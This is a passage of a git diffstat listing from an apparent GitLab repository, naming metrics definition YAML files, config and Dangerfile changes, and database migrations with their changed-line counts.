-rw-r--r--config/metrics/counts_all/20210216181254_projects.yml1
-rw-r--r--config/metrics/counts_all/20210216181256_todos.yml1
-rw-r--r--config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml1
-rw-r--r--config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml1
-rw-r--r--config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml1
-rw-r--r--config/metrics/counts_all/20210216181908_deploy_keys.yml1
-rw-r--r--config/metrics/counts_all/20210216181911_successful_deployments.yml1
-rw-r--r--config/metrics/counts_all/20210216181912_failed_deployments.yml1
-rw-r--r--config/metrics/counts_all/20210216181914_environments.yml1
-rw-r--r--config/metrics/counts_all/20210216181916_in_review_folder.yml1
-rw-r--r--config/metrics/counts_all/20210216181918_releases.yml1
-rw-r--r--config/metrics/counts_all/20210216181926_deployments.yml1
-rw-r--r--config/metrics/counts_all/20210216181928_failed_deployments.yml1
-rw-r--r--config/metrics/counts_all/20210216181930_releases.yml1
-rw-r--r--config/metrics/counts_all/20210216181932_successful_deployments.yml1
-rw-r--r--config/metrics/counts_all/20210216181946_pages_domains.yml1
-rw-r--r--config/metrics/counts_all/20210216181949_clusters_applications_runner.yml1
-rw-r--r--config/metrics/counts_all/20210216181954_user_unique_users_all_secure_scanners.yml1
-rw-r--r--config/metrics/counts_all/20210216182002_remote_mirrors.yml1
-rw-r--r--config/metrics/counts_all/20210216182004_commit_comment.yml1
-rw-r--r--config/metrics/counts_all/20210216182006_source_code_pushes.yml1
-rw-r--r--config/metrics/counts_all/20210216182010_deploy_keys.yml1
-rw-r--r--config/metrics/counts_all/20210216182012_keys.yml1
-rw-r--r--config/metrics/counts_all/20210216182014_projects_with_disable_overriding_approvers_per_merge_request.yml1
-rw-r--r--config/metrics/counts_all/20210216182015_projects_without_disable_overriding_approvers_per_merge_request.yml1
-rw-r--r--config/metrics/counts_all/20210216182017_remote_mirrors.yml1
-rw-r--r--config/metrics/counts_all/20210216182112_sast_jobs.yml2
-rw-r--r--config/metrics/counts_all/20210216182114_secret_detection_jobs.yml4
-rw-r--r--config/metrics/counts_all/20210216182116_user_sast_jobs.yml6
-rw-r--r--config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml6
-rw-r--r--config/metrics/counts_all/20210216182454_protected_branches_except_default.yml1
-rw-r--r--config/metrics/counts_all/20210216182547_projects_datadog_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182549_groups_datadog_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182551_templates_datadog_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182553_instances_datadog_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182614_projects_ewm_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182616_groups_ewm_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182618_templates_ewm_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182620_instances_ewm_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml1
-rw-r--r--config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml1
-rw-r--r--config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml1
-rw-r--r--config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml1
-rw-r--r--config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml1
-rw-r--r--config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml1
-rw-r--r--config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml1
-rw-r--r--config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml1
-rw-r--r--config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml1
-rw-r--r--config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml1
-rw-r--r--config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210216183023_wiki_pages_view.yml1
-rw-r--r--config/metrics/counts_all/20210216183146_coverage_fuzzing_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216183149_dast_on_demand_pipelines.yml1
-rw-r--r--config/metrics/counts_all/20210216183400_omniauth_providers.yml1
-rw-r--r--config/metrics/counts_all/20210216183402_two-factor.yml1
-rw-r--r--config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml1
-rw-r--r--config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml1
-rw-r--r--config/metrics/counts_all/20210216183408_standard.yml1
-rw-r--r--config/metrics/counts_all/20210216183410_google_oauth2.yml1
-rw-r--r--config/metrics/counts_all/20210216183514_user_coverage_fuzzing_jobs.yml1
-rw-r--r--config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml16
-rw-r--r--config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml16
-rw-r--r--config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml16
-rw-r--r--config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml16
-rw-r--r--config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml16
-rw-r--r--config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml16
-rw-r--r--config/metrics/counts_all/20210303153000_package_events_i_package_rubygems_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210303153002_package_events_i_package_rubygems_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210303153004_package_events_i_package_rubygems_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210309165717_projects_with_enabled_alert_integrations_histogram.yml1
-rw-r--r--config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml1
-rw-r--r--config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml1
-rw-r--r--config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml1
-rw-r--r--config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml1
-rw-r--r--config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml1
-rw-r--r--config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml3
-rw-r--r--config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml3
-rw-r--r--config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml3
-rw-r--r--config/metrics/counts_all/20210502050942_ci_runners_online.yml3
-rw-r--r--config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml3
-rw-r--r--config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml3
-rw-r--r--config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml3
-rw-r--r--config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml1
-rw-r--r--config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml1
-rw-r--r--config/metrics/counts_all/20210514141520_project_imports_total.yml1
-rw-r--r--config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml1
-rw-r--r--config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml1
-rw-r--r--config/metrics/counts_all/20210625095025_package_events_i_package_helm_push_package.yml21
-rw-r--r--config/metrics/counts_all/20210709191135_package_events_i_package_nuget_pull_symbol_package.yml22
-rw-r--r--config/metrics/counts_all/20210709191829_package_events_i_package_nuget_push_symbol_package.yml22
-rw-r--r--config/metrics/counts_all/20210709210941_package_events_i_package_pull_symbol_package.yml22
-rw-r--r--config/metrics/counts_all/20210709211058_package_events_i_package_pull_symbol_package_by_deploy_token.yml22
-rw-r--r--config/metrics/counts_all/20210709211248_package_events_i_package_pull_symbol_package_by_guest.yml22
-rw-r--r--config/metrics/counts_all/20210709211341_package_events_i_package_pull_symbol_package_by_user.yml22
-rw-r--r--config/metrics/counts_all/20210709211439_package_events_i_package_push_symbol_package.yml22
-rw-r--r--config/metrics/counts_all/20210709211636_package_events_i_package_push_symbol_package_by_deploy_token.yml22
-rw-r--r--config/metrics/counts_all/20210709211731_package_events_i_package_push_symbol_package_by_guest.yml22
-rw-r--r--config/metrics/counts_all/20210709211831_package_events_i_package_push_symbol_package_by_user.yml22
-rw-r--r--config/metrics/license/20210201124932_recorded_at.yml1
-rw-r--r--config/metrics/license/20210201124933_uuid.yml1
-rw-r--r--config/metrics/license/20210204124827_hostname.yml1
-rw-r--r--config/metrics/license/20210204124829_active_user_count.yml1
-rw-r--r--config/metrics/license/20210204124928_version.yml1
-rw-r--r--config/metrics/license/20210204124936_version.yml1
-rw-r--r--config/metrics/license/20210204124938_recording_ce_finished_at.yml1
-rw-r--r--config/metrics/license/20210216175601_version.yml1
-rw-r--r--config/metrics/license/20210216175602_installation_type.yml1
-rw-r--r--config/metrics/license/20210216181053_version.yml1
-rw-r--r--config/metrics/license/20210216183237_version.yml1
-rw-r--r--config/metrics/objects_schemas/collected_data_categories_schema.json7
-rw-r--r--config/metrics/schema.json2
-rw-r--r--config/metrics/settings/20210201124935_database_adapter.yml1
-rw-r--r--config/metrics/settings/20210204124856_instance_auto_devops_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124858_container_registry_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124900_dependency_proxy_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124902_gitlab_shared_runners_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124904_gravatar_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124906_ldap_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124908_mattermost_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124910_omniauth_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124912_prometheus_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124916_reply_by_email_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124918_signup_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124922_grafana_link_enabled.yml1
-rw-r--r--config/metrics/settings/20210204124934_enabled.yml1
-rw-r--r--config/metrics/settings/20210216174829_smtp_server.yml1
-rw-r--r--config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml1
-rw-r--r--config/metrics/settings/20210216175604_edition.yml1
-rw-r--r--config/metrics/settings/20210216175606_ldap_encrypted_secrets_enabled.yml1
-rw-r--r--config/metrics/settings/20210216175609_version.yml1
-rw-r--r--config/metrics/settings/20210216180314_gitpod_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180836_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180838_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180840_direct_upload.yml1
-rw-r--r--config/metrics/settings/20210216180841_background_upload.yml1
-rw-r--r--config/metrics/settings/20210216180843_provider.yml1
-rw-r--r--config/metrics/settings/20210216180845_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180847_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180849_direct_upload.yml1
-rw-r--r--config/metrics/settings/20210216180851_background_upload.yml1
-rw-r--r--config/metrics/settings/20210216180852_provider.yml1
-rw-r--r--config/metrics/settings/20210216180854_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180856_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180858_direct_upload.yml1
-rw-r--r--config/metrics/settings/20210216180900_background_upload.yml1
-rw-r--r--config/metrics/settings/20210216180902_provider.yml1
-rw-r--r--config/metrics/settings/20210216180903_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180905_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180907_direct_upload.yml1
-rw-r--r--config/metrics/settings/20210216180909_background_upload.yml1
-rw-r--r--config/metrics/settings/20210216180911_provider.yml1
-rw-r--r--config/metrics/settings/20210216180913_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180915_enabled.yml1
-rw-r--r--config/metrics/settings/20210216180916_direct_upload.yml1
-rw-r--r--config/metrics/settings/20210216180918_background_upload.yml1
-rw-r--r--config/metrics/settings/20210216180920_provider.yml1
-rw-r--r--config/metrics/settings/20210216183241_filesystems.yml1
-rw-r--r--config/metrics/settings/20210216183248_pg_system_id.yml1
-rw-r--r--config/metrics/settings/20210225045628_operating_system.yml1
-rw-r--r--config/metrics/settings/20210321224827_gitaly_apdex.yml1
-rw-r--r--config/metrics/settings/20210323120839_topology.yml1
-rw-r--r--config/metrics/settings/20210702140138_collected_data_categories.yml23
-rw-r--r--config/puma_actioncable.example.development.rb94
-rw-r--r--config/routes.rb5
-rw-r--r--config/routes/admin.rb8
-rw-r--r--config/routes/project.rb28
-rw-r--r--config/routes/user.rb3
-rw-r--r--config/settings.rb4
-rw-r--r--config/sidekiq_queues.yml6
-rw-r--r--config/webpack.config.js26
-rw-r--r--danger/database/Dangerfile12
-rw-r--r--danger/datateam/Dangerfile18
-rw-r--r--danger/feature_flag/Dangerfile41
-rw-r--r--danger/gitaly/Dangerfile22
-rw-r--r--danger/pajamas/Dangerfile1
-rw-r--r--danger/specialization_labels/Dangerfile3
-rw-r--r--danger/vue_shared_documentation/Dangerfile22
-rw-r--r--data/whats_new/202010230001_13_05.yml2
-rw-r--r--db/ci_migrate/20210617101848_create_ci_instance_variables_on_ci.rb31
-rw-r--r--db/ci_schema_migrations/202106171018481
-rw-r--r--db/ci_structure.sql45
-rw-r--r--db/fixtures/development/19_environments.rb2
-rw-r--r--db/gitlab_structure.sql3
-rw-r--r--db/migrate/20201224144948_migrate_coverage_report_worker.rb4
-rw-r--r--db/migrate/20210317210338_add_valid_runner_registrars.rb7
-rw-r--r--db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb4
-rw-r--r--db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb15
-rw-r--r--db/migrate/20210602155056_add_merge_request_diff_commit_users.rb31
-rw-r--r--db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb25
-rw-r--r--db/migrate/20210604032738_create_dast_site_profiles_builds.rb18
-rw-r--r--db/migrate/20210604034158_add_ci_build_id_fk_to_dast_site_profiles_builds.rb19
-rw-r--r--db/migrate/20210604034354_add_dast_site_profile_id_fk_to_dast_site_profiles_builds.rb19
-rw-r--r--db/migrate/20210604051330_create_dast_scanner_profiles_builds.rb18
-rw-r--r--db/migrate/20210604051742_add_ci_build_id_fk_to_dast_scanner_profiles_builds.rb19
-rw-r--r--db/migrate/20210604051917_add_dast_scanner_profile_id_fk_to_dast_scanner_profiles_builds.rb19
-rw-r--r--db/migrate/20210610153556_delete_legacy_operations_feature_flags.rb13
-rw-r--r--db/migrate/20210611101034_add_devops_adoption_sast_dast.rb8
-rw-r--r--db/migrate/20210614142311_add_running_container_scanning_max_size_to_plan_limits.rb7
-rw-r--r--db/migrate/20210615064342_add_issue_id_to_requirement.rb17
-rw-r--r--db/migrate/20210616110748_add_issue_index_to_requirement.rb17
-rw-r--r--db/migrate/20210616111311_add_issue_requirement_foreign_key.rb19
-rw-r--r--db/migrate/20210616134905_add_timestamp_to_schema_migration.rb15
-rw-r--r--db/migrate/20210616154808_remove_ci_build_protected_index.rb19
-rw-r--r--db/migrate/20210616185947_add_mailgun_settings_to_application_setting.rb10
-rw-r--r--db/migrate/20210617022324_create_incident_management_pending_alert_escalations.rb48
-rw-r--r--db/migrate/20210617161348_cascade_delete_freeze_periods.rb23
-rw-r--r--db/migrate/20210617180131_migrate_usage_ping_sidekiq_queue.rb15
-rw-r--r--db/migrate/20210621043337_rename_services_to_integrations.rb150
-rw-r--r--db/migrate/20210621044000_rename_services_indexes_to_integrations.rb30
-rw-r--r--db/migrate/20210621084632_add_summary_to_timelogs.rb10
-rw-r--r--db/migrate/20210621090030_add_text_limit_to_timelogs_summary.rb15
-rw-r--r--db/migrate/20210621091830_add_devops_adoption_snapshot_dependency_scanning.rb7
-rw-r--r--db/migrate/20210622135221_add_foreign_key_for_environment_id_to_environments.rb21
-rw-r--r--db/migrate/20210623074226_add_usage_ping_features_enabled_to_application_settings.rb11
-rw-r--r--db/migrate/20210623123722_add_present_on_default_branch_to_vulnerabilities.rb17
-rw-r--r--db/migrate/20210623133635_create_error_tracking_errors.rb28
-rw-r--r--db/migrate/20210623163342_add_index_to_compliance_management_frameworks_pipeline_configuration.rb17
-rw-r--r--db/migrate/20210624112821_add_devops_adoption_coverage_fuzzing.rb7
-rw-r--r--db/migrate/20210624180613_add_last_synced_at_to_licenses.rb7
-rw-r--r--db/migrate/20210625094554_create_error_tracking_error_events.rb30
-rw-r--r--db/migrate/20210627204936_add_plan_limits_max_size_cluster_image_scanning_column.rb7
-rw-r--r--db/migrate/20210629153519_add_index_to_bulk_import_entities_on_bulk_import_id_and_status.rb20
-rw-r--r--db/migrate/20210630144339_add_invite_email_success_to_members.rb11
-rw-r--r--db/migrate/20210701111627_add_upvotes_count_to_issues.rb15
-rw-r--r--db/migrate/20210702124842_add_ci_job_trace_size_to_plan_limits.rb7
-rw-r--r--db/migrate/20210705124128_add_project_settings_previous_default_branch.rb20
-rw-r--r--db/migrate/20210705130919_create_container_repos_on_exp_cleanup_status_project_id_start_date_index.rb24
-rw-r--r--db/migrate/20210705132928_add_new_user_signups_cap_to_namespace_settings.rb17
-rw-r--r--db/migrate/20210705144657_add_instance_runners_enabled_to_ci_pending_build.rb19
-rw-r--r--db/migrate/20210706084713_add_devops_adoption_snapshots_index.rb17
-rw-r--r--db/migrate/20210706152139_add_index_type_to_postgres_indexes_view.rb57
-rw-r--r--db/migrate/20210706213537_add_premium_and_ultimate_plan_limits.rb40
-rw-r--r--db/migrate/20210707095545_add_status_to_merge_request_cleanup_schedules.rb25
-rw-r--r--db/migrate/20210707151536_create_vulnerability_finding_evidence_sources.rb26
-rw-r--r--db/migrate/20210707171536_create_vulnerability_finding_evidence_assets.rb28
-rw-r--r--db/migrate/20210707171554_create_vulnerability_flags.rb30
-rw-r--r--db/migrate/20210707173645_add_project_settings_previous_default_branch_text_limit.rb15
-rw-r--r--db/migrate/20210707181536_create_vulnerability_finding_evidence_supporting_messages.rb26
-rw-r--r--db/migrate/20210708063032_add_failed_count_to_merge_request_cleanup_schedules.rb9
-rw-r--r--db/migrate/20210708124229_add_security_scans_created_at_index.rb17
-rw-r--r--db/migrate/20210708131048_add_error_tracking_counter_cache.rb11
-rw-r--r--db/migrate/20210708134446_remove_not_null_constraint_from_terms.rb11
-rw-r--r--db/migrate/20210709085759_index_batched_migration_jobs_by_max_value.rb17
-rw-r--r--db/migrate/20210709132707_change_default_job_token_scope_enabled.rb17
-rw-r--r--db/migrate/20210713070842_update_merge_request_cleanup_schedules_scheduled_at_index.rb20
-rw-r--r--db/migrate/20210713135152_add_devops_adoption_vulnerability_management_used_count.rb7
-rw-r--r--db/migrate/20210713144637_add_vulnerabilities_created_at_index.rb17
-rw-r--r--db/migrate/20210714120600_add_detected_at_to_vulnerabilities.rb18
-rw-r--r--db/migrate/20210716074555_revert_default_job_token_scope.rb17
-rw-r--r--db/post_migrate/20210602164044_schedule_latest_pipeline_id_population.rb13
-rw-r--r--db/post_migrate/20210604133651_schedule_merge_request_diff_users_background_migration.rb11
-rw-r--r--db/post_migrate/20210609202501_schedule_backfill_draft_status_on_merge_requests.rb32
-rw-r--r--db/post_migrate/20210610042700_remove_clusters_applications_fluentd_table.rb26
-rw-r--r--db/post_migrate/20210614124111_add_devops_adoption_sast_dast_indexes.rb20
-rw-r--r--db/post_migrate/20210615234935_fix_batched_migrations_old_format_job_arguments.rb32
-rw-r--r--db/post_migrate/20210616145254_add_partial_index_for_ci_builds_token.rb17
-rw-r--r--db/post_migrate/20210621111747_add_ci_artifacts_devops_adoption_index.rb17
-rw-r--r--db/post_migrate/20210621155328_replace_project_authorizations_project_id_index.rb20
-rw-r--r--db/post_migrate/20210621164210_drop_remove_on_close_from_labels.rb19
-rw-r--r--db/post_migrate/20210621223000_steal_background_jobs_that_reference_services.rb14
-rw-r--r--db/post_migrate/20210621223242_finalize_rename_services_to_integrations.rb13
-rw-r--r--db/post_migrate/20210622041846_finalize_push_event_payloads_bigint_conversion.rb75
-rw-r--r--db/post_migrate/20210622141148_schedule_delete_orphaned_deployments.rb26
-rw-r--r--db/post_migrate/20210628124505_reset_job_token_scope_enabled.rb16
-rw-r--r--db/post_migrate/20210629101712_remove_deprecated_modsecurity_columns.rb21
-rw-r--r--db/post_migrate/20210629104933_drop_index_on_ci_builds_for_token.rb17
-rw-r--r--db/post_migrate/20210630025020_migrate_push_event_payloads_event_id_back_to_integer_for_gitlab_com.rb15
-rw-r--r--db/post_migrate/20210701111909_backfill_issues_upvotes_count.rb26
-rw-r--r--db/post_migrate/20210706115312_add_upvotes_count_index_to_issues.rb17
-rw-r--r--db/post_migrate/20210706120847_remove_framework_column_from_compliance_management_frameworks.rb7
-rw-r--r--db/post_migrate/20210706142819_re_schedule_latest_pipeline_id_population.rb28
-rw-r--r--db/post_migrate/20210708130419_reschedule_merge_request_diff_users_background_migration.rb58
-rw-r--r--db/schema_migrations/202103172103381
-rw-r--r--db/schema_migrations/202106011321341
-rw-r--r--db/schema_migrations/202106021550561
-rw-r--r--db/schema_migrations/202106021551101
-rw-r--r--db/schema_migrations/202106021640441
-rw-r--r--db/schema_migrations/202106040327381
-rw-r--r--db/schema_migrations/202106040341581
-rw-r--r--db/schema_migrations/202106040343541
-rw-r--r--db/schema_migrations/202106040513301
-rw-r--r--db/schema_migrations/202106040517421
-rw-r--r--db/schema_migrations/202106040519171
-rw-r--r--db/schema_migrations/202106041336511
-rw-r--r--db/schema_migrations/202106092025011
-rw-r--r--db/schema_migrations/202106100427001
-rw-r--r--db/schema_migrations/202106101535561
-rw-r--r--db/schema_migrations/202106111010341
-rw-r--r--db/schema_migrations/202106141241111
-rw-r--r--db/schema_migrations/202106141423111
-rw-r--r--db/schema_migrations/202106150643421
-rw-r--r--db/schema_migrations/202106152349351
-rw-r--r--db/schema_migrations/202106161107481
-rw-r--r--db/schema_migrations/202106161113111
-rw-r--r--db/schema_migrations/202106161349051
-rw-r--r--db/schema_migrations/202106161452541
-rw-r--r--db/schema_migrations/202106161548081
-rw-r--r--db/schema_migrations/202106161859471
-rw-r--r--db/schema_migrations/202106170223241
-rw-r--r--db/schema_migrations/202106171613481
-rw-r--r--db/schema_migrations/202106171801311
-rw-r--r--db/schema_migrations/202106210433371
-rw-r--r--db/schema_migrations/202106210440001
-rw-r--r--db/schema_migrations/202106210846321
-rw-r--r--db/schema_migrations/202106210900301
-rw-r--r--db/schema_migrations/202106210918301
-rw-r--r--db/schema_migrations/202106211117471
-rw-r--r--db/schema_migrations/202106211553281
-rw-r--r--db/schema_migrations/202106211642101
-rw-r--r--db/schema_migrations/202106212230001
-rw-r--r--db/schema_migrations/202106212232421
-rw-r--r--db/schema_migrations/202106220418461
-rw-r--r--db/schema_migrations/202106221352211
-rw-r--r--db/schema_migrations/202106221411481
-rw-r--r--db/schema_migrations/202106230742261
-rw-r--r--db/schema_migrations/202106231237221
-rw-r--r--db/schema_migrations/202106231336351
-rw-r--r--db/schema_migrations/202106231633421
-rw-r--r--db/schema_migrations/202106241128211
-rw-r--r--db/schema_migrations/202106241806131
